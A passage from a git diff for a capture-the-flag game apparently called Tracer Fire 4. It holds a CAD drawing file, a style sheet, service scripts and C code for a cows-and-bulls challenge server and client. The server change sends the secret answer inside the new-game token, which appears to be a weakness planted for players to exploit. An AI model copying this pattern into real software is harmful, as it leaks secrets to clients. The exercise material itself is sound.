+ 31 +0.0 + 0 +LINE + 5 +81 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +7.948838284923931 + 20 +16.9401471645919841 + 30 +0.0 + 11 +10.2943971230982054 + 21 +16.9401471645919841 + 31 +0.0 + 0 +LINE + 5 +82 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +10.2943971230982054 + 20 +16.9401471645919841 + 30 +0.0 + 11 +10.2943971230982054 + 21 +14.5945883264177088 + 31 +0.0 + 0 +LINE + 5 +83 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +10.2943971230982054 + 20 +14.5945883264177088 + 30 +0.0 + 11 +7.948838284923931 + 21 +14.5945883264177088 + 31 +0.0 + 0 +LINE + 5 +84 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +7.948838284923931 + 20 +14.5945883264177088 + 30 +0.0 + 11 +7.948838284923931 + 21 +16.9401471645919841 + 31 +0.0 + 0 +CIRCLE + 5 +85 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +38.3968291839557594 + 20 +10.9776420746888093 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +86 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +22.7190487551867406 + 20 +10.7740345366528434 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +87 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +63.8477714384509198 + 20 +23.1940943568464917 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +88 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +46.9483457814661307 + 20 +23.1940943568464846 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +89 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +30.8633502766251908 + 20 +23.1940943568464739 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +8A +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +54.0746096127247711 + 20 +10.6608906915629422 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +8B +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +70.7704277316736068 + 20 +11.0590850899031814 + 30 +0.0 + 40 +4.0 + 0 +LINE + 5 +8C +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +49.6341328907330848 + 20 +32.5549857814661436 + 30 +0.0 + 11 +41.6341328907330919 + 21 +32.5549857814661436 + 31 +0.0 + 0 +LINE + 5 +8D +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.6341328907330919 + 20 +30.0549857814661472 + 30 +0.0 + 11 +49.634132890733099 + 21 +30.0549857814661543 + 31 +0.0 + 0 +LINE + 5 +8E +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +49.634132890733099 + 20 +30.0549857814661543 + 30 +0.0 + 11 +49.6341328907330848 + 21 +32.5549857814661436 + 31 +0.0 + 0 +LINE + 5 +8F +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.6341328907330919 + 20 +32.5549857814661436 + 30 +0.0 + 11 +41.6341328907330919 + 21 +30.0549857814661472 + 31 +0.0 + 0 +LINE + 5 +90 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +32.5549857814661436 + 30 +0.0 + 11 +41.5028970401106463 + 21 +32.5549857814661436 + 31 +0.0 + 0 +LINE + 5 +91 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.5028970401106463 + 20 +30.0549857814661472 + 30 +0.0 + 11 +33.5028970401106463 + 21 +30.0549857814662325 + 31 +0.0 + 0 +LINE + 5 +92 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +30.0549857814662325 + 30 +0.0 + 11 +33.5028970401106463 + 21 +32.5549857814661436 + 31 +0.0 + 0 +LINE + 5 +93 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +31.0028970401106463 + 20 +38.0549857814661436 + 30 +0.0 + 11 +33.5028970401106463 + 21 +38.0549857814661436 + 31 +0.0 + 0 +LINE + 5 +94 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +38.0549857814661436 + 30 +0.0 + 11 +33.5028970401106463 + 21 +30.0549857814662325 + 31 +0.0 + 0 +LINE + 5 +95 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +30.0549857814662325 + 30 +0.0 + 11 +31.0028970401106463 + 21 +30.0549857814661472 + 31 +0.0 + 0 +LINE + 5 +96 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +31.0028970401106463 + 20 +30.0549857814661472 + 30 +0.0 + 11 +31.0028970401106463 + 21 +38.0549857814661436 + 31 +0.0 + 0 +LINE + 5 +97 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.5028970401106463 + 20 +32.5549857814661436 + 30 +0.0 + 11 +41.5028970401106463 + 21 +30.0549857814661472 + 31 +0.0 + 0 +CIRCLE + 5 +98 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +19.0482646749654201 + 20 +60.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +99 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +11.0482646749654201 + 20 +74.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +9A +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +35.0482646749654236 + 20 +60.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +9B +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +51.0482646749654236 + 20 +60.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +9C +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +43.0482646749654236 + 20 +74.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +9D +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +27.0482646749654201 + 20 +74.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +9E +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +59.0482646749654236 + 20 +74.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +9F +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +67.0482646749654236 + 20 +60.0 + 30 +0.0 + 40 +4.0 + 0 +CIRCLE + 5 +A0 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +12.7504236929460717 + 20 +27.3639767358229626 + 30 +0.0 + 40 +4.0 + 0 +LINE + 5 +A1 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +77.7943681327801073 + 20 +62.0221913139695857 + 30 +0.0 + 11 +79.7943681327801073 + 21 +62.0221913139695857 + 31 +0.0 + 0 +LINE + 5 +A2 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.7943681327801073 + 20 +62.0221913139695857 + 30 +0.0 + 11 +79.7943681327801073 + 21 +60.0221913139695857 + 31 +0.0 + 0 +LINE + 5 +A3 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.7943681327801073 + 20 +60.0221913139695857 + 30 +0.0 + 11 +77.7943681327801073 + 21 +60.0221913139695857 + 31 +0.0 + 0 +LINE + 5 +A4 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +77.7943681327801073 + 20 +60.0221913139695857 + 30 +0.0 + 11 +77.7943681327801073 + 21 +62.0221913139695857 + 31 +0.0 + 0 +LINE + 5 +A5 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +77.6225737206085853 + 20 +70.0221913139695857 + 30 +0.0 + 11 +77.6225737206085853 + 21 +62.0221913139695857 + 31 +0.0 + 0 +LINE + 5 +A6 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +77.6225737206085853 + 20 +62.0221913139695857 + 30 +0.0 + 11 +75.1225737206085853 + 21 +62.0221913139695857 + 31 +0.0 + 0 +LINE + 5 +A7 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +75.1225737206085853 + 20 +62.0221913139695857 + 30 +0.0 + 11 +75.1225737206085853 + 21 +70.0221913139695857 + 31 +0.0 + 0 +LINE + 5 +A8 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +75.1225737206085853 + 20 +70.0221913139695857 + 30 +0.0 + 11 +77.6225737206085853 + 21 +70.0221913139695857 + 31 +0.0 + 0 +CIRCLE + 5 +A9 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +61.5241323374827047 + 20 +46.0 + 30 +0.0 + 40 +4.0 + 0 +LINE + 5 +AA +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.9822338865836997 + 20 +44.8262355739972378 + 30 +0.0 + 11 +70.0002715767635095 + 21 +44.8262355739972378 + 31 +0.0 + 0 +LINE + 5 +AB +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +70.0002715767635095 + 20 +44.8262355739972378 + 30 +0.0 + 11 +70.0002715767635095 + 21 +31.7953531396957203 + 31 +0.0 + 0 +LINE + 5 +AC +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +70.0002715767635095 + 20 +31.7953531396957203 + 30 +0.0 + 11 +68.9822338865836997 + 21 +31.7953531396957203 + 31 +0.0 + 0 +LINE + 5 +AD +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.9822338865836997 + 20 +31.7953531396957203 + 30 +0.0 + 11 +68.9822338865836997 + 21 +44.8262355739972378 + 31 +0.0 + 0 +LINE + 5 +AE +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +62.0270003872752582 + 20 +35.834926694329198 + 30 +0.0 + 11 +64.3725592254495353 + 21 +35.834926694329198 + 31 +0.0 + 0 +LINE + 5 +AF +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +64.3725592254495353 + 20 +35.834926694329198 + 30 +0.0 + 11 +64.3725592254495353 + 21 +37.9198678838174388 + 31 +0.0 + 0 +LINE + 5 +B0 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +64.3725592254495353 + 20 +37.9198678838174388 + 30 +0.0 + 11 +62.0270003872752582 + 21 +37.9198678838174388 + 31 +0.0 + 0 +LINE + 5 +B1 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +62.0270003872752582 + 20 +37.9198678838174388 + 30 +0.0 + 11 +62.0270003872752582 + 21 +35.834926694329198 + 31 +0.0 + 0 +LINE + 5 +B2 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +4 +370 +-1 + 6 +ByLayer + 10 +61.636073914246218 + 20 +45.8687061687413689 + 30 +0.0 + 11 +63.1997798063624003 + 21 +36.7470884647303038 + 31 +0.0 + 0 +LINE + 5 +B3 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +4 +370 +-1 + 6 +ByLayer + 10 +19.0250883540802285 + 20 +60.0723680221300356 + 30 +0.0 + 11 +11.4671765421853422 + 21 +52.775073858921175 + 31 +0.0 + 0 +LINE + 5 +B4 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +4 +370 +-1 + 6 +ByLayer + 10 +12.7702647856154954 + 20 +27.1042354633471732 + 30 +0.0 + 11 +9.1216177040110686 + 21 +15.3764412724757999 + 31 +0.0 + 0 +LINE + 5 +B5 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +30.8633502766251908 + 20 +23.1940943568464739 + 30 +0.0 + 11 +38.3968291839557594 + 21 +10.9776420746888093 + 31 +0.0 + 0 +LINE + 5 +B6 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +38.3968291839557594 + 20 +10.9776420746888093 + 30 +0.0 + 11 +22.7190487551867406 + 21 +10.7740345366528434 + 31 +0.0 + 0 +LINE + 5 +B7 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +30.8633502766251908 + 20 +23.1940943568464739 + 30 +0.0 + 11 +12.7504236929460717 + 21 +27.3639767358229626 + 31 +0.0 + 0 +LINE + 5 +B8 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +46.9483457814661307 + 20 +23.1940943568464846 + 30 +0.0 + 11 +63.8477714384509198 + 21 +23.1940943568464917 + 31 +0.0 + 0 +LINE + 5 +B9 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +46.9483457814661307 + 20 +23.1940943568464846 + 30 +0.0 + 11 +54.0746096127247711 + 21 +10.6608906915629422 + 31 +0.0 + 0 +LINE + 5 +BA +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +54.0746096127247711 + 20 +10.6608906915629422 + 30 +0.0 + 11 +70.7704277316736068 + 21 +11.0590850899031814 + 31 +0.0 + 0 +LINE + 5 +BB +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +51.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +67.0482646749654236 + 21 +60.0 + 31 +0.0 + 0 +LINE + 5 +BC +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +67.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +61.5241323374827047 + 21 +46.0 + 31 +0.0 + 0 +LINE + 5 +BD +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +51.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +43.0482646749654236 + 21 +74.0 + 31 +0.0 + 0 +LINE + 5 +BE +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +43.0482646749654236 + 20 +74.0 + 30 +0.0 + 11 +59.0482646749654236 + 21 +74.0 + 31 +0.0 + 0 +LINE + 5 +BF +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +35.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +27.0482646749654201 + 21 +74.0 + 31 +0.0 + 0 +LINE + 5 +C0 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +27.0482646749654201 + 20 +74.0 + 30 +0.0 + 11 +11.0482646749654201 + 21 +74.0 + 31 +0.0 + 0 +LINE + 5 +C1 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +35.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +19.0482646749654201 + 21 +60.0 + 31 +0.0 + 0 +LINE + 5 +C2 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +35.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +35.0530737482711032 + 21 +46.9111767634854928 + 31 +0.0 + 0 +LINE + 5 +C3 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +30.8633502766251908 + 20 +23.1940943568464739 + 30 +0.0 + 11 +32.1862796127247677 + 21 +31.6650443153527057 + 31 +0.0 + 0 +LINE + 5 +C4 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +46.9483457814661307 + 20 +23.1940943568464846 + 30 +0.0 + 11 +46.9111767634854928 + 21 +31.2741178423236619 + 31 +0.0 + 0 +LINE + 5 +C5 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +67.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +78.8368387275242242 + 21 +60.9845297925311414 + 31 +0.0 + 0 +LINE + 5 +C6 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +51.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +51.0810591424619815 + 21 +46.6505591147994636 + 31 +0.0 + 0 +ENDSEC + 0 +SECTION + 2 +OBJECTS + 0 +DICTIONARY + 5 +C +100 +AcDbDictionary +280 +0 +281 +1 + 3 +ACAD_GROUP +350 +D + 3 +ACAD_LAYOUT +350 +1A + 3 +ACAD_MLINESTYLE +350 +17 + 3 +ACAD_PLOTSETTINGS +350 +19 + 3 +ACAD_PLOTSTYLENAME +350 +E + 3 +AcDbVariableDictionary +350 +C7 + 0 +DICTIONARY + 5 +D +100 +AcDbDictionary +280 +0 +281 +1 + 0 +ACDBDICTIONARYWDFLT + 5 +E +100 +AcDbDictionary +281 +1 + 3 +Normal +350 +F +100 +AcDbDictionaryWithDefault +340 +F + 0 +ACDBPLACEHOLDER + 5 +F + 0 +DICTIONARY + 5 +17 +100 +AcDbDictionary +280 +0 +281 +1 + 3 +Standard +350 +18 + 0 +MLINESTYLE + 5 +18 +100 +AcDbMlineStyle + 2 +STANDARD + 70 +0 + 3 + + 62 +256 + 51 +90.0 + 52 +90.0 + 71 +2 + 49 +0.5 + 62 +256 + 6 +BYLAYER + 49 +-0.5 + 62 +256 + 6 +BYLAYER + 0 +DICTIONARY + 5 +19 +100 +AcDbDictionary +280 +0 +281 +1 + 0 +DICTIONARY + 5 +1A +100 +AcDbDictionary +281 +1 + 3 +Layout1 +350 +1E + 3 +Layout2 +350 +26 + 3 +Model +350 +22 + 0 +LAYOUT + 5 +1E +100 +AcDbPlotSettings + 1 + + 2 +C:\Program Files\AutoCAD 2002\plotters\DWF ePlot (optimized for plotting).pc3 + 4 + + 6 + + 40 +0.0 + 41 +0.0 + 42 +0.0 + 43 +0.0 + 44 +0.0 + 45 +0.0 + 46 +0.0 + 47 +0.0 + 48 +0.0 + 49 +0.0 +140 +0.0 +141 +0.0 +142 +1.0 +143 +1.0 + 70 +688 + 72 +0 + 73 +0 + 74 +5 + 7 + + 75 +16 +147 +1.0 +148 +0.0 +149 +0.0 +100 +AcDbLayout + 1 +Layout1 + 70 +1 + 71 +1 + 10 +0.0 + 20 +0.0 + 11 +420.0 + 21 +297.0 + 12 +0.0 + 22 +0.0 + 32 +0.0 + 14 +100000000000000000000.0 + 24 +100000000000000000000.0 + 34 +100000000000000000000.0 + 15 +-100000000000000000000.0 + 25 +-100000000000000000000.0 + 35 +-100000000000000000000.0 +146 +0.0 + 13 +0.0 + 23 +0.0 + 33 +0.0 + 16 +1.0 + 26 +0.0 + 36 +0.0 + 17 +0.0 + 27 +1.0 + 37 +0.0 + 76 +0 +330 +1B + 0 +LAYOUT + 5 +22 +100 +AcDbPlotSettings + 1 + + 2 +C:\Program Files\AutoCAD 2002\plotters\DWF ePlot (optimized for plotting).pc3 + 4 + + 6 + + 40 +0.0 + 41 +0.0 + 42 +0.0 + 43 +0.0 + 44 +0.0 + 45 +0.0 + 46 +0.0 + 47 +0.0 + 48 +0.0 + 49 +0.0 +140 +0.0 +141 +0.0 +142 +1.0 +143 +1.0 + 70 +1712 + 72 +0 + 73 +0 + 74 +0 + 7 + + 75 +0 +147 +1.0 +148 +0.0 +149 +0.0 +100 +AcDbLayout + 1 +Model + 70 +1 + 71 +0 + 10 +0.0 + 20 +0.0 + 11 +12.0 + 21 +9.0 + 12 +0.0 + 22 +0.0 + 32 +0.0 + 14 +0.0 + 24 +0.0 + 34 +0.0 + 15 +0.0 + 25 +0.0 + 35 +0.0 +146 +0.0 + 13 +0.0 + 23 +0.0 + 33 +0.0 + 16 +1.0 + 26 +0.0 + 36 +0.0 + 17 +0.0 + 27 +1.0 + 37 +0.0 + 76 +0 +330 +1F + 0 +LAYOUT + 5 +26 +100 +AcDbPlotSettings + 1 + + 2 +C:\Program Files\AutoCAD 2002\plotters\DWF ePlot (optimized for plotting).pc3 + 4 + + 6 + + 40 +0.0 + 41 +0.0 + 42 +0.0 + 43 +0.0 + 44 +0.0 + 45 +0.0 + 46 +0.0 + 47 +0.0 + 48 +0.0 + 49 +0.0 +140 +0.0 +141 +0.0 +142 +1.0 +143 +1.0 + 70 +688 + 72 +0 + 73 +0 + 74 +5 + 7 + + 75 +16 +147 +1.0 +148 +0.0 +149 +0.0 +100 +AcDbLayout + 1 +Layout2 + 70 +1 + 71 +2 + 10 +0.0 + 20 +0.0 + 11 +12.0 + 21 +9.0 + 12 +0.0 + 22 +0.0 + 32 +0.0 + 14 +0.0 + 24 +0.0 + 34 +0.0 + 15 +0.0 + 25 +0.0 + 35 +0.0 +146 +0.0 + 13 +0.0 + 23 +0.0 + 33 +0.0 + 16 +1.0 + 26 +0.0 + 36 +0.0 + 17 +0.0 + 27 +1.0 + 37 +0.0 + 76 +0 +330 +23 + 0 +DICTIONARY + 5 +C7 +100 +AcDbDictionary +281 +1 + 3 +DIMASSOC +350 +C9 + 3 +HIDETEXT +350 +C8 + 0 +DICTIONARYVAR + 5 +C8 +100 +DictionaryVariables +280 +0 + 1 +2 + 0 +DICTIONARYVAR + 5 +C9 +100 +DictionaryVariables +280 +0 + 1 +1 + 0 +ENDSEC + 0 +EOF diff --git a/doc/2012-02-TF4/style.svg b/doc/2012-02-TF4/style.svg new file mode 100644 index 0000000..55b93fc --- /dev/null +++ b/doc/2012-02-TF4/style.svg @@ -0,0 +1,1559 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + Tracer Fire 4 + + Heading Color: #11dddd + Link color: #ff8800 + Text color: #ddddcc + Background color: #111122 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + LawrenceLivermoreNationalLaboratory + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/packages/cowbull/cowbull.mk b/packages/cowbull/cowbull.mk new file mode 100644 index 0000000..2ca432d --- /dev/null +++ b/packages/cowbull/cowbull.mk @@ -0,0 +1,19 @@ +COWBULL_PKGDIR = $(TARGET)/cowbull + +cowbull-install: cowbull-build + mkdir -p $(COWBULL_PKGDIR) + + mkdir -p $(COWBULL_PKGDIR)/bin/ + $(MAKE) -C packages/cowbull/src install DESTDIR=$(CURDIR)/$(COWBULL_PKGDIR) + + $(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service) + cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/ + +cowbull-clean: + rm -rf $(COWBULL_PKGDIR) + $(MAKE) -C packages/cowbull/src clean + +cowbull-build: + $(MAKE) -C packages/cowbull/src build + +PACKAGES += cowbull diff --git a/packages/cowbull/service/cowbull/finish b/packages/cowbull/service/cowbull/finish new file mode 100755 index 0000000..54ba047 --- /dev/null +++ b/packages/cowbull/service/cowbull/finish @@ -0,0 +1,4 @@ +#! /bin/sh + +read IP < ip.txt +ip addr del $IP dev eth0 diff --git a/packages/cowbull/service/cowbull/ip.txt b/packages/cowbull/service/cowbull/ip.txt new file mode 100644 index 0000000..9bcbbf6 --- /dev/null +++ b/packages/cowbull/service/cowbull/ip.txt @@ -0,0 +1 @@ +fd84:b410:3441::ec6/64 diff --git a/packages/cowbull/service/cowbull/log/run b/packages/cowbull/service/cowbull/log/run new file mode 100755 index 0000000..1e7bd9d --- /dev/null +++ b/packages/cowbull/service/cowbull/log/run @@ -0,0 +1,3 @@ +#! /bin/sh + +exec svlogd -tt $PWD diff --git a/packages/cowbull/service/cowbull/run b/packages/cowbull/service/cowbull/run new file mode 100755 index 0000000..1459669 --- /dev/null +++ b/packages/cowbull/service/cowbull/run @@ -0,0 +1,7 @@ +#! /bin/sh -e + +exec 2>&1 +read IP < ip.txt +ip addr add $IP dev eth0 || true + +exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt diff --git a/packages/cowbull/src/Makefile b/packages/cowbull/src/Makefile index 8c26186..a4b5489 100644 --- a/packages/cowbull/src/Makefile +++ b/packages/cowbull/src/Makefile @@ -1 +1,11 @@ +DESTDIR ?= /tmp + all: cowd cowcli + +cowcli: CC=cc + +install: all + cp cowd cowcli $(DESTDIR)/bin/ + +clean: + rm -f cowd cowcli diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c index 9832445..ab8b199 100644 --- a/packages/cowbull/src/cowcli.c +++ b/packages/cowbull/src/cowcli.c @@ -9,10 +9,17 @@ #include #include #include +#include #include -#define DEBUG +#define NODEBUG + +#ifdef DEBUG +# define PORT 4444 +#else +# define PORT 44 +#endif int bind_port(int fd, const struct in6_addr *addr, uint16_t port) @@ -86,7 +93,7 @@ main(int argc, char *argv[]) long answer = 0; int sock; int i; - struct in6_addr addr; + struct addrinfo *addr; uint32_t token = 0; FILE *in, *out; @@ -94,20 +101,31 @@ main(int argc, char *argv[]) signal(SIGCHLD, sigchld); - if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { - fprintf(stderr, "invalid address: %s\n", argv[1]); - return EX_IOERR; + if (argc < 2) { + fprintf(stderr, "Usage: %s SERVER\n", argv[0]); + return EX_USAGE; + } + + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { + perror("Resolving address"); + return EX_IOERR; + } } /* * Set up socket */ sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, 44)) { + if (-1 == bind_port(sock, &in6addr_any, PORT)) { perror("Binding UDP port 44"); -#ifndef DEBUG return EX_IOERR; -#endif } if (argv[2]) { @@ -139,7 +157,7 @@ main(int argc, char *argv[]) } /* Send the guess */ - if (-1 == sendto(sock, &g, sizeof g, 0, &addr, sizeof addr)) { + if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { perror("Sending packet"); return EX_IOERR; } @@ -156,15 +174,20 @@ main(int argc, char *argv[]) return EX_IOERR; case 1: /* It's a score */ + printf("%02x\n", buf[0]); + break; case 4: /* New game token */ + printf("NEW GAME\n"); + token = *((uint32_t *) buf); + break; default: /* You win: this is your CTF token */ + buf[len] = 0; + printf("A WINNER IS YOU: %s\n", buf); + break; } } - - /* parse result */ - /* display result */ } return 0; diff --git a/packages/cowbull/src/cowd.c b/packages/cowbull/src/cowd.c index 33cc22d..9ad2c24 100644 --- a/packages/cowbull/src/cowd.c +++ b/packages/cowbull/src/cowd.c @@ -14,6 +14,8 @@ char tokens[NTOKENS][TOKENLEN]; int ntokens; +char *admonishment = "Try for fewer guesses next time!\n"; + struct state { time_t death; uint16_t answer; @@ -58,10 +60,14 @@ new_game(int sock, time_t now, struct sockaddr_in6 *from, for (i = 0; i < 4; i += 1) { s->answer = (s->answer << 4) | ((random() % 6) + 1); } + + g.token = s->answer; break; } } + printf("=%02x\n", g.token); + if (g.offset < NSTATES) { sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen); } @@ -103,7 +109,7 @@ loop(int sock) } cur = &states[g.offset]; - if 